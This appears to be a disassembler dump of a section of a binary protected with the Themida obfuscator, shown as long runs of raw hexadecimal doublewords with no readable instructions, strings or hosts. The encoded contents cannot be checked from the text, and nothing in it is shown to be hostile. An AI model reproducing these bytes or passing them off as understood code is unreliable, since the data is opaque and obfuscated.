		dd 0E9000000h, 0BFEh, 0AB9DCE68h, 0E429E907h, 0D068FFFCh
		dd 0E907AB9Eh, 0FFFCE41Fh, 0AB9F9168h, 0E415E907h, 4368FFFCh
		dd 0E907ABA0h, 0FFFCE40Bh, 0ABA0A368h, 0E401E907h, 4B68FFFCh
		dd 0E907ABA1h, 0FFFCE3F7h, 0ABA28068h, 0E3EDE907h, 0BF68FFFCh
		dd 0E907ABA3h, 0FFFCE3E3h, 0ABA4A668h, 0E3D9E907h, 5068FFFCh
		dd 0E907ABA5h, 0FFFCE3CFh, 0ABA60668h, 0E3C5E907h, 39DAFFFCh
		dd 7C20091Eh, 0BB5D465Bh, 0F89E879Ch, 32E1CADFh, 0C7021025h
		dd 3183FDEh, 43587F1Ah,	859ABD5Ah, 0C8DDFA9Ch, 0CD0349E8h
		dd 0D3CBADD5h, 17C78B39h, 0E1B83500h, 1AE709F6h, 70FEE28Bh
		dd 166A475Fh, 669CE237h, 6CD358FFh, 0D5C29465h,	0A253D0Ah
		dd 994E109Fh, 0A6BBDCFBh, 0A9EF1BFCh, 0D358FF73h, 64517279h
		dd 1002D1Eh, 3F2C33DBh,	2E465106h, 1502D451h, 50471700h
		dd 0B86F2A63h, 0BD6F7E0h, 0BF49263Eh, 0DB010086h, 0E9D0821h
		dd 31364B4Ch, 6096DCh, 5F66DB01h, 0A5B26447h, 1BD5DDAh
		dd 33B1A3E9h, 2730E48Bh, 75623506h, 0F1BCDDAAh,	0A1DA2F2Ch
		dd 0CC02E0F7h, 0D2DB011Ah, 0D85F11CBh, 4ECDED27h, 21B01B36h
		dd 1E549A71h, 18DB015Ch, 0F2B4FBECh, 0EEA55383h, 94612C2Bh
		dd 0E5F2A273h, 0E1A9AFC4h, 38E3F05Fh, 4A0h, 9489AB36h
		dd 0E4335C9Ah, 0F9997C94h, 47686F2Eh, 6AB0055Ah, 0D3587334h
		dd 1F55333Ah, 25D35873h, 0B5EB311Eh, 0BBD35873h, 42BF9CB4h
		dd 619A8790h, 0BD8A3B4h, 3522CCF3h, 6DAEF4E1h, 73DB009Bh
		dd 0DD17A16Ch, 0F8DB009Bh, 314C2FBh, 0B965D0EBh, 0E3FF28F1h
		dd 3048h, 11064600h, 233F5B2Ch,	0B7D84C77h, 0E14F84CAh
		dd 4E55DB00h, 0E1BFF983h, 0C1DADB00h, 8EE0AA56h, 0D639E3F0h
		dd 1E000000h, 0E7881FFCh, 1B33D3D2h, 17C735h, 0F2E5B835h
		dd 0EFE8AA27h, 0E0F7A724h, 748CD5CBh, 0AF6FD359h, 0E8AA93A8h
		dd 71E624EFh, 0BD72B8A5h, 0C3DB0199h, 0C696CFBCh, 8D92B9D1h
		dd 0CC978054h, 0D243E7FFh, 0B8CF1502h, 0BEE2AC49h, 5375CAB7h
		dd 11C4A513h, 9DE64C06h, 894C2F47h, 0FD1E39DEh,	0E8AAE3E8h
		dd 3F5724EFh, 0A69EB95Ch, 0FC19BF16h, 3340CA1h,	0F9000009h
		dd 412A3F58h, 866F8493h, 0C7B0C5D2h, 6EF0413h, 1D2B4057h
		dd 3D5AF9ACh, 7F983F28h, 0C3D4816Ah, 215C5AEh, 286E0DEDh
		dd 0CBADD2F2h, 0ABB05EF8h, 18A65089h, 2D6BF25h,	0F9DCF415h
		dd 0F52B715Ah, 0D8D3594Dh, 96691700h, 594E1A50h, 0F81920D3h
		dd 39D9C2D7h, 96DC311Eh, 0D3594E60h, 20475F66h,	0C5110634h
		dd 765D92D8h, 0C363DB01h, 24F8A247h, 8E2E7933h,	48816E8Fh
		dd 8F6C8493h, 21DCB05h,	62CDE6DBh, 0BDDA7EB7h, 52EDA5A5h
		dd 0AC34E3FFh, 32000000h, 0DA1056ABh, 0E0D35970h, 3CDEC1D9h
		dd 62B7501Bh, 5970E61Ch, 0CDE5ECD3h, 612C2BEAh,	59758ED7h
		dd 0B6A171D3h, 0F1E6B8A1h, 0A76FE826h, 682C65BAh, 0B267576Fh
		dd 0B8DB019Ah, 53405701h, 19AD70Dh, 0B5D6DDDBh,	0B561F6A0h
		dd 475A82C8h, 5960E2ACh, 7760336Ch, 0A13B5D62h,	52CC6975h
		dd 6332152Dh, 742A7C74h, 60F5FC19h, 80188h, 3126F700h
		dd 7661331Ch, 0B7A07861h, 0FA1DB9A2h, 3E59FCE5h, 0F7AE1B29h
		dd 351E3324h, 77607562h, 0B7A0B5A2h, 0FBDBF0E7h, 0D2E0165Ch
		dd 4CE6CBADh, 314C79Eh,	425505EEh, 587F1C55h, 0AB2D1940h
		dd 43997B89h, 6A829421h, 7627D787h, 54A43E82h, 9C19E405h
		dd 2A8F44FAh, 0F7FC9657h, 0DAE4123Dh, 45662305h, 0DE54330h
		dd 471205D4h, 59BE627Ah, 294A907Dh, 2FDB00B7h, 54023B28h
		dd 22F02B43h, 0D9C92B12h, 6F32334h, 713867C0h, 79666DE1h
		dd 0D5720D57h, 61E9FBDh, 0AA6AEB29h, 0A65777BDh, 565DE91Ch
		dd 98CE1469h, 9EE91CA6h, 47807F97h, 826B8097h, 55CFC7D0h
		dd 54E68831h, 740E7BFh,	65360000h, 0A0745D72h, 1FB9A2B7h
		dd 5CFAE3F8h, 9E3D263Bh, 73566479h, 5F746332h, 9FB4A376h
		dd 0E1F6E1B6h, 1C3126F8h, 21579D3Ch, 27CBADD1h,	17C7DF8Dh
		dd 1EF73500h, 7E83C9B6h, 84DB01A4h, 59BE687Dh, 7D4A907Dh
		dd 83E2AD3Fh, 82ACD1E3h, 2CF9C4D3h, 2E40CD72h, 37E7200Dh
		dd 5DFA3320h, 0FEC9CE8Ah, 78451031h, 8E503960h,	9780BE89h
		dd 0C4FD523Fh, 0FEEE0611h, 0EA586A58h, 486A575Eh, 0B314064Ch
		dd 934314DCh, 346D6C84h, 77607562h, 0A7E5B0A7h,	337966AEh
		dd 0F2009BB2h, 0A8DE2479h, 0AEF2009Bh, 0C8CF8FA7h, 0EC2EAAD0h
		dd 0E8C055EDh, 68Eh, 0AFC4D384h, 0EC0116C6h, 2D425503h
		dd 6C819644h, 0B2C7D083h, 0DD8025A4h, 1DBCA5BAh, 5FFCE5FAh
		dd 983A2338h, 0EB8A6A7Fh, 0ADD06FA5h, 2DDB75CBh, 0D8C51106h
		dd 50AF492h, 6F3FADBh, 0F50A0DCDh, 0F7E0B7F0h, 3D5AFCDFh
		dd 0F3233472h, 3FBBC006h, 0BAC1E2ADh, 18CA92C2h, 0E0B84DFCh
		dd 62Eh, 4F647324h, 8CA1B666h, 0CDE2F5A3h, 0C2136E4h, 52677023h
		dd 7D208544h, 0BD5C455Ah, 0FF9C859Ah, 38DAC3D8h, 8B2A0A1Fh
		dd 0ADD00F45h, 0CD7B15CBh, 662C1106h, 8A862E32h, 84D9C6E7h
		dd 5919083Eh, 0EF070ED3h, 0B4DDAAF0h, 82A4DB04h, 3A6A23A2h
		dd 0C3839B84h, 0C496CFBCh, 5D5BED3h, 86A7B062h,	3C987DBBh
		dd 5740164Fh, 0A8A7BF8Ch, 0B0ADBC62h, 0CEBBC2E2h, 0E5D2C595h
		dd 3AE689C3h, 0E1AE799Eh, 62E30127h, 983A234Ah,	0E176B47Fh
		dd 490F4835h, 9EB6834Eh, 0A1D8599Fh, 0D7DEEA58h, 0B434A7DFh
		dd 0B58D22E5h, 586h, 0A7BCDB7Ch, 0E4F91EBEh, 253A5DFBh
		dd 64799E3Ch, 0AABFD87Bh, 0A5782D9Ch, 0E5B49DB2h, 27F4DDF2h
		dd 60321B30h, 0E3826277h, 0ADCF679Dh, 25D36DCBh, 130017C7h
		dd 0F01728F1h, 778F7E2Eh, 5A7D1D9Ah
		dd 57074045h, 93842840h, 0AC015643h, 590D3066h,	422F36D3h
		dd 590DC6FCh, 0ADC5CCD3h, 1357CBDh, 0B07B82DBh,	134EC26h
		dd 83EE07DBh, 3BF5B6D8h, 0A21DDABDh, 61600198h,	89A1C28Ch
		dd 0FFA8C189h, 2518E3h,	6160000h, 92D8C511h, 0DB01765Dh
		dd 7915C63h, 0DB0176CDh, 0E0B2EBE8h, 59C4DFF7h,	0FFFBE5ADh
		dd 0FE3CE3h, 0C73A0000h, 8E895017h, 665E806Dh, 34712E34h
		dd 40617622h, 0FCE4B28h, 4FA43D08h, 58C3D309h, 0BAD2D9D3h
		dd 451007D7h, 0EC0116C8h, 58C7ADF6h, 0C9CE90D3h, 0C0BCBB4h
		dd 0F6120341h, 1EFC1BBDh, 0D358C7E8h, 0D9C6E7EEh, 0D72693h
		dd 5298EDDBh, 0DB00D71Ch, 43031B22h, 0FFCACD8Ch, 52FC1132h
		dd 0DE2411C5h, 0E2AB882Eh, 0EB402D34h, 0E026E5B2h, 0E2AB88AAh
		dd 0BD88A9B0h, 26F5D8F0h, 60331C31h, 13FD7F77h,	770CFC19h
		dd 4519Fh, 81964700h, 0C6D1836Ch, 710C8B1h, 4A4D09F2h
		dd 8E894C35h, 475E6B79h, 856E8394h, 0C7B0C5D2h,	7F00512h
		dd 4B2B4057h, 0CE3066ACh, 9C36CBADh, 3714C7EEh,	5970BBF1h
		dd 63C82D3h, 0CD35970h,	63505705h, 5970E71Dh, 0C5E6EDD3h
		dd 17C7B0h, 4278BE13h, 48D35971h, 70F92F75h, 0F8FFD359h
		dd 9398BFD7h, 7F5AB771h, 4440A878h, 579C0C0Bh, 0DEC4DCFDh
		dd 46151106h, 98B98651h, 0A27489ABh, 2ACCC93Ch,	98CD1312h
		dd 9EDB0161h, 42532E7h,	6175AF39h, 7790DB01h, 0E2A600Ch
		dd 0D6EFE3F0h, 0ED000000h, 350017C7h, 27F2E5B8h, 5974549Dh
		dd 80C61BD3h, 0D359744Ah, 4E314950h, 193EDB8Ch,	4B60814Eh
		dd 0BAA7B062h, 6F682C65h, 59745B91h, 425A61D3h,	0E62E2765h
		dd 8346B3F9h, 454CDB01h, 90D62B30h, 0DB01835Ah,	0CC7A9D3Dh
		dd 0C09ADC5h, 8695DBC8h, 8CE2AC30h, 451601D5h, 0ECB98493h
		dd 0F0A5DECBh, 309FD51Bh, 9EA5E2ACh, 0CDE5B27Dh, 0D1C695CEh
		dd 1C62B7BCh, 0E2AC30E6h, 5F0D0AC9h, 0F6602EBFh, 26474EE6h
		dd 0DDBDF339h, 0BCC3E2ABh, 512C1A4h, 1968450Dh,	572FC4FCh
		dd 312h, 2B405708h, 70859242h, 0B1C6D187h, 0F00512C8h
		dd 2E435407h, 59FCA920h, 9940293Eh, 0DB80697Eh,	1CBEA7BCh
		dd 6706E6FBh, 0ADCCEB21h, 0A957F1CBh, 0EE0314C7h, 2D425505h
		dd 17C741h, 0F1E6B835h,	2DC0E204h, 0F6B0A771h, 90A84447h
		dd 9FB27C69h, 2B715EB6h, 0DB00D90Ah, 27FAAFD1h,	5609A5C2h
		dd 0FBC89384h, 0FB02C2DAh, 0F7204D2h, 83947F36h, 0F0B4187h
		dd 0A117F36h, 0E1B6FCE9h, 0E786DE16h, 277C15E0h, 0DE16ABE1h
		dd 92AAB186h, 0C0AD69EEh, 0FBC6D187h, 0C217162Eh, 15F1276Dh
		dd 0F0F786DEh, 8EC8E8D8h, 17CE8E89h, 0BB885344h, 358AD9Ah
		dd 898E87BDh, 0A8868D8Eh, 8E898E72h, 8EBDF339h,	0BCC38E89h
		dd 0F0EF070Eh, 3F0E7B7h, 0BF590ECAh, 0DF00CD98h, 82F4714h
		dd 60587F1Fh, 487B1908h, 2B2A0297h, 21000002h, 69526770h
		dd 0AE97ACABh, 0EFD8EDEAh, 2E172C2Bh, 4553686Fh, 65722184h
		dd 0A7B06750h, 0EBECA992h, 2A2DEDD6h, 50963515h, 0CBADCC1Ah
		dd 0C7D88620h, 0F7350017h, 0D5FB1D1Eh, 4230E1C3h, 0DDA01588h
		dd 6C8DE42Ch, 9CAC397Fh, 0ABB2DB00h, 0C27BA996h, 4E948155h
		dd 0E2A8A22Dh, 35032C33h, 9F3710F7h, 0EBD83C19h, 0DF1E4CA5h
		dd 397F52A6h, 0A6DF1E03h, 16E10209h, 0AA977FD8h, 915A3355h
		dd 7E161D22h, 0A5154B91h, 141BA6DEh, 1DEC0CFCh,	3BF2AE8Ah
		dd 0E2AF7A9Dh, 0FB9BD4C1h, 3CDEC7DCh, 0A933231Bh, 29BE287Bh
		dd 18151h, 0B1A67700h, 0F6E1B39Ch, 3720F8E1h, 7A9D3922h
		dd 0BED97C65h, 772E9BA9h, 0B59EB3A4h, 0F7E0F5E2h, 37203522h
		dd 7B5B7067h, 0CB6096DCh, 0CC66CBADh, 17C71Eh, 0B61EF735h
		dd 943E83C9h, 3D44DB01h, 0D6D42E50h, 6549049Ch,	0F4382CABh
		dd 88A0413Fh, 33417461h, 6F3A5DFAh, 71E68AA2h, 5172B8A5h
		dd 18E2A9D6h, 21A3DDFh,	44123B42h, 9B9CC26Eh, 624F8790h
		dd 44CFC31Ch, 688AA3h, 9086C8C3h, 80FCFE7h, 0BE16FF3Dh
		dd 976B8BD1h, 6A71AAF0h, 9BA35B7Dh, 9571346Bh, 95457E7Dh
		dd 451007D2h, 370215C8h, 1328496Ah, 776F682Ah, 24DC8B8Dh
		dd 0CBDFB74Ch, 0C1000000h, 9F20710h, 4E374C4Bh,	8F788D8Ah
		dd 0CEB7CCCBh, 0E5F3080Fh, 512C1E4h, 475007F0h,	8B8C4932h
		dd 0CACD8D76h, 0F036D5B5h, 0CBADCABAh, 0C77826C0h, 0F7350017h
		dd 83C9B61Eh, 0DB01856Eh, 0AE586D74h, 2B806DA9h, 1A3225F2h
		dd 0AD1F802Ah, 612547E2h, 12E229D7h, 646B2B43h,	5D7A1C99h
		dd 98BF5F48h, 9B1234CDh, 410B631Ah, 0DAFB1CBCh,	1FD4D2C2h
		dd 0E5E0E9C5h, 2C2BEB7Ah, 6B6C2E17h, 0ADE3297Eh, 0B3E9C51Fh
		dd 1F649AE0h, 636AE9C5h, 0B44D2A42h, 0DF364A92h, 0C4C56399h
		dd 0A86269E9h, 8DA51844h, 8852ECAAh, 0B68A5011h, 0ACB44B52h
		dd 0C8A467F2h, 0B461DCA7h, 0FF18BA49h, 465101EAh, 8A37Bh
		dd 93CC0000h, 0D8BED6C1h, 16C73EDCh, 19B93601h,	0E1B633FEh
		dd 0EBAE2BF6h, 0F1A421ECh, 0FF9E1BE6h, 0CA900DD8h, 0D38502CDh
		dd 0D87CF9C4h, 533CF4BFh, 0C381E389h, 4, 4BD55h, 0EB290000h
		dd 241C875Dh, 1FAE685Ch, 2C890000h, 0E0895024h,	405h, 4E88300h
		dd 5C240487h, 51243489h, 52719CB9h, 0EA71BD34h,	0CD3133F9h
		dd 81240C8Bh, 4C4h, 348B5400h, 4C48324h, 4EC81h, 2C890000h
		dd 8468F24h, 5324348Bh,	0C381E389h, 4, 4C381h, 1C870000h
		dd 34FF5C24h, 0C4815D24h, 4, 0FCD83EE9h, 62D486FFh, 99F303C8h
		dd 0F6B8334Eh, 307ABA6h, 0D2E0FFC5h, 133EE9B5h,	677C337Ch
		dd 770168F5h, 557B0679h, 80358D6Bh, 90652298h, 0CB19D829h
		dd 0C410A222h, 0E8494F7Eh, 8, 50B99139h, 0A0FB47C2h, 58DFB70Fh
		dd 6B76C081h, 81660000h, 0BF0EBDF3h, 1D746FB1h,	54F6EF81h
		dd 0B70F1D74h, 0F530FFCAh, 0E960605Ah, 9, 10E098CBh, 0AD053BB8h
		dd 6661F9B8h, 616AA0BAh, 44C0C281h, 0A2B12190h,	463FEA81h
		dd 8B665C3Dh, 1AC281DFh, 0B92AD38Ch, 2BB6E790h,	0DE952h
		dd 66DA0000h, 1C9764C5h, 848A2104h, 8F0212B1h, 6820F00h
		dd 81000000h, 0A025ACE3h, 4E8833Bh, 80C577BBh, 850F4F4Bh
		dd 0FFFFFF99h, 4FEBF38Bh, 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh
		dd 5C5CD2D4h, 34CE00E4h, 0CE1BF531h, 0D129B327h, 0C7DD5B34h
		dd 0CE17E62Ah, 6734DF1Bh, 0E900A6DBh, 9F00431Ah, 0DC80BAh
		dd 54000000h, 0FEB41Bh,	0FBFE3400h, 87000000h, 2352DDB4h
		dd 19ED920h, 0E97C809Eh, 1271h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 92C35242h, 6A5BD83h, 0F0007A8h
		dd 1B85h, 95335600h, 7A81D25h, 0B85Fh, 8F0F0000h, 1, 4C2F5h
		dd 1307BA66h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0F4121BC3h, 0D2D5CE02h, 0BD83FE8Bh
		dd 7A827F9h, 83097500h,	0A80605BDh, 13740007h, 0C08B5350h
		dd 4D0B8h, 0F79D8D00h, 0FF07AAADh, 83585BD3h, 0A80605BDh
		dd 11740007h, 0D0B85350h, 8D000004h, 0AAAD449Dh, 5BD3FF07h
		dd 0DF816658h, 895225DAh, 0A800719Dh, 0C08B5A07h, 0FF8B70Fh
		dd 858DCFBFh, 7ABA882h,	0F5C5BF66h, 66525090h, 310FF98Bh
		dd 61595160h, 9050585Ah, 0CE9h,	364F100h, 0AE0126Fh, 0C13FCDCEh
		dd 94D18131h, 8D6E5337h, 0ABA83F85h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 1DFCC24h, 0A8047985h, 0F7E98107h, 9072E902h,	5150DBB5h
		dd 13E850h, 82FD0000h, 0A27D100Bh, 0DECB72FFh, 0BDC82CC5h
		dd 89FD2F43h, 595F5F7Ah, 0B9BD8990h, 0FF07A82Fh, 0A830B995h
		dd 11E807h, 1BB30000h, 0B3928BA5h, 0C7A169A1h, 76FCDB5Eh
		dd 89304CD9h, 0A82C559Dh, 448B5A07h, 89FC0424h,	0ABA86A85h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 24448B52h, 8EC28108h, 897DE23Ch,	0ABA87E85h
		dd 0C88B6607h, 2701BD83h, 0F0007A8h, 0FE85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0EF4B28C8h, 0ACF7211Bh, 85C6606Dh, 7A80619h,	4E8F547h
		dd 0D2000000h, 0B5D49AA7h, 0BF665061h, 448BBE22h, 22BA0424h
		dd 8B5785ECh, 89D08B00h, 66042444h, 0E958F88Bh,	13h, 6343D128h
		dd 0CE38AF21h, 71739193h, 0C9A193DEh, 0FF02634Eh, 0A80CE1B5h
		dd 0A9852907h, 8D07A833h, 0AB781A85h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 6F24F55Ch, 0F9BF0FEDh, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 9D899EC3h, 7A80645h
		dd 258D8B56h, 5A07A814h, 27018589h, 6A07A8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0AE9FBC3h
		dd 0C3000000h, 0FEC97144h, 0CF3280A7h, 8343B114h, 0A82161BDh
		dd 850F0007h, 0C3h, 0C6FFB70Fh,	0A8061985h, 958B4707h
		dd 7A80CF5h, 0C2B2F468h, 0DE850h, 0ECA20000h, 0A67F8D51h
		dd 57E6BEBFh, 59E22819h, 0EE240481h, 6A394D02h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 5F37C357h, 2AE769FFh, 14E80Fh, 3A760000h, 61E4E552h
		dd 0E4FA6AD3h, 0E465CD4Ch, 0C6A41DE1h, 0FA8B47D2h, 0E1B5FF59h
		dd 6A07A80Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 6266C350h, 30A1958Bh, 858D07A8h
		dd 7AB781Ah, 68B0Fh, 95890000h,	7A81A9Dh, 0EE9D0FFh, 9A000000h
		dd 0F8D5ECA6h, 69811F61h, 278FEA41h, 6185892Ah,	8307A821h
		dd 0A834E1BDh, 850F0007h, 124h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 5DC35242h, 9A85AF64h, 1D45950Bh
		dd 8D8907A8h, 7A82949h,	61985C6h, 0E95607A8h, 9, 68CADC83h
		dd 5FBCAB14h, 975D68EAh, 5250B80Fh, 14E8h, 586BA700h, 42971A69h
		dd 378950C6h, 632C14Eh,	5B92438Ah, 310F5F03h, 0FE9h, 94A21000h
		dd 3D40A9F7h, 0C9319C79h, 0EF5C48BEh, 3481585Ah, 10FA6424h
		dd 57006A6Ch, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 12E88Dh,	0CDB00000h, 0AA270F81h,	0A0417F9Eh
		dd 0B28392BBh, 0D7D639AEh, 0B5FF59F9h, 7A80CE1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 2C35343h, 55478CA5h
		dd 232FAE50h, 0A826598Dh, 1A858D07h, 8B07AB78h,	0A82291BDh
		dd 89D0FF07h, 0A80B71BDh, 0E1858907h, 6A07A834h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0B57DC352h, 0C0BB7ED3h, 71B0E1E1h, 61985C6h,	666C07A8h
		dd 5A16CA81h, 2BFAC768h, 8137B2D0h, 8A442434h, 6E80B2Eh
		dd 0E7000000h, 3831DD82h, 7D8529F0h, 5A07A821h,	1895B5FFh
		dd 8D8B07A8h, 7A8103Dh,	3BDF858Dh, 6A07A8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 6D4DAC3h
		dd 8B66AC34h, 0CE8B66CFh, 0B589D0FFh, 7A80E85h,	8589C88Bh
		dd 7ABA86Eh, 6D952Bh, 0BD8307A8h, 7ABA88Ah, 2B850F00h
		dd 89000001h, 0A82D3D9Dh, 1985C607h, 4907A806h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 1AC35242h, 0AFFE015Ch
		dd 0BC95F33Fh, 14E9h, 0DECB7200h, 0BDC82CC5h, 89FD2F43h
		dd 6713D27Ah, 90805577h, 29A568CBh, 3481E3F2h, 0E7004C24h
		dd 55006A6Fh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 54076435h, 6AF9C063h, 0F1BD8998h, 0B07A829h
		dd 0A8050595h, 41958907h, 0FF07A80Ah, 0A81895B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 9B0FC5D3h, 0D2816677h, 0B589281Ah, 7A834E5h,	3BDF858Dh
		dd 0FE907A8h, 0EE000000h, 34EF1E78h, 139BBBC7h,	0C941669Eh
		dd 0D0FFC6AEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	6DC35040h, 0B70F6B44h, 8A8589D7h, 6A07ABA8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 4041C357h, 34133965h, 0E063341Bh, 0D358D29h,	46A07A8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 3FC35040h
		dd 0D78BE470h, 4E8h, 100000h, 8B666000h, 6152B5D0h, 14E850h
		dd 9CC90000h, 0B574FCA1h, 2D3A7344h, 6D64EBF5h,	725AA548h
		dd 8B59AF18h, 66042444h, 8BF88Bh, 50C38B60h, 0CC8BB952h
		dd 310F7883h, 5E8h, 0CB0BFB00h,	5A5FA671h, 44896158h, 8B660424h
		dd 0DE858D7h, 0FA000000h, 6316F3AAh, 0C5891E8Ah, 28C46ADDh
		dd 2870Fh, 0F8B60000h, 645685Ah, 51602494h, 4C1110B9h
		dd 81615A08h, 6452434h,	0BD8B2495h, 7A81879h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0A95276C3h, 809BEA95h, 0F3F6AA6h, 68Ah, 0F5BD2900h
		dd 2907A807h, 0A830A1BDh, 2D95FF07h, 6A07A813h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 6762C356h, 2F99F22Ch, 0A7D505F3h, 165ED281h,	85896357h
		dd 7ABA87Ah, 1A558D8Bh,	85C707A8h, 7ABA872h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 31C35141h
		dd 0EC486ED8h, 31E7DB37h, 0A81CAD95h, 89006A07h, 0A814C19Dh
		dd 80B86807h, 0E960022Bh, 13h, 0C354A742h, 12903125h, 0D242EBEBh
		dd 0B2637ECBh, 0E87F564Eh, 7, 59F343E1h, 8BBAAE75h, 81615EF1h
		dd 80B82434h, 8D8B022Ah, 7A8110Dh, 0BF665050h, 8959AECAh
		dd 0FE92404h, 0CC000000h, 47CEA425h, 1A4D82F7h,	0B1E13073h
		dd 0B6A8345h, 33D59D01h, 858D07A8h, 7ABA847h, 0B880Fh
		dd 840F0000h, 5, 0D2D78166h, 8E0F90C2h,	2, 0B950D18Bh
		dd 5A1C320Bh, 95FFF990h, 7A82701h, 8D8D3151h, 5A07A825h
		dd 0A851B58Dh, 6A07ABh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0F937EAC3h, 89E96427h, 0A82E1D95h
		dd 52509607h, 310FD08Bh, 8E9h, 4B1EFC00h, 0B2234DD5h, 50585A0Eh
		dd 0C012BA66h, 56006A96h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8B90007Ah, 0E89050F9h
		dd 10h,	0B3F12C3Ch, 0B21E254Eh,	9814573Bh, 5C291AE3h, 100ABF66h
		dd 6195FF5Fh, 0F07A821h, 0C00BF8BFh, 13850Fh, 0BA660000h
		dd 8D29DB7Bh, 7A8264Dh,	729E9h,	85B96600h, 6AD0FFB2h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0CF7CC352h, 0EE8h, 0D331A600h, 0B7A77BBAh, 0BEC7C1FDh
		dd 0FEFD7BEh, 8Fh, 0B58B5F00h, 7ABA87Ah, 8A66BF66h, 0B20468Dh
		dd 0A822BD95h, 6A046A07h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 2D0EC350h, 4895041h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 77591529h, 6E9B107h, 0CB000000h,	915D4D97h
		dd 8A95FF95h, 8107ABA8h, 0F4C644EFh, 0FC00B44h,	0C84h
		dd 0A9BD8900h, 0E907A804h, 66Ah, 207E80F5h, 5F840F00h
		dd 6A000006h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 6B65C353h, 6010BAE6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DAC35242h, 302D8589h
		dd 13E907A8h, 0A8000000h, 0D3F9CB93h, 0F1F8C5A2h, 0A4665B07h
		dd 86BFFE91h, 468D68E3h, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 449F676Bh, 34EA91Dh, 1DBD0959h
		dd 8907A825h, 0ABA87685h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 472F6DD5h
		dd 5640BC1Eh, 2935950Bh, 8D0107A8h, 7A82221h, 0E5E9h, 9E900h
		dd 78C10000h, 0AB0C93FBh, 40F56A74h, 6830Fh, 0B5890000h
		dd 7A83109h, 24048950h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 49C35646h, 6FEC608h, 46A11CEh, 50F9BF0Fh
		dd 310F5250h, 5CCCADB9h, 89585A21h, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B234DCC3h
		dd 0B604F709h, 0C88B66E1h, 0A88A95FFh, 0E86007ABh, 0Bh
		dd 6AC3A376h, 2376B6CAh, 5B37780Dh, 0C1850961h,	8B07A818h
		dd 7AA2BAD8h, 6A587B70h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0E529C357h,	271A1949h
		dd 0B442ED0Fh, 398D8BF9h, 0B07A80Eh, 0F840FDBh,	66000000h
		dd 0E9CEE4BAh, 4BEh, 95BD8Bh, 388007A8h, 20850F00h, 0FFFFFFFh
		dd 4EE9FBB7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 8A0CC357h, 0C88B6681h
		dd 9958B57h, 5F07A809h,	56006A48h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8BE2A092h, 0A81A9D95h
		dd 76853B07h, 0F07ABA8h, 2D82h,	6870F00h, 8B000000h, 0A80819BDh
		dd 5C388007h, 18840Fh, 0BA660000h, 6657315Fh, 8059CB8Bh
		dd 850F2F38h, 0FFFFFFA8h, 0F719D89h, 6A4007A8h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0A1F2C353h, 5CBCBA7Ah, 0F4FA703h, 0B8Ch, 8D016000h
		dd 7A80849h, 611AE080h,	3850Fh,	8B660000h, 7EBD83FEh, 7ABA8h
		dd 1AE840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h
dword_5BC968	dd 4A3D03C3h, 8A0F78B1h, 9, 38A0Fh, 0C6800000h,	0F6050E4h
					; DATA XREF: Themida_:005A3E94o
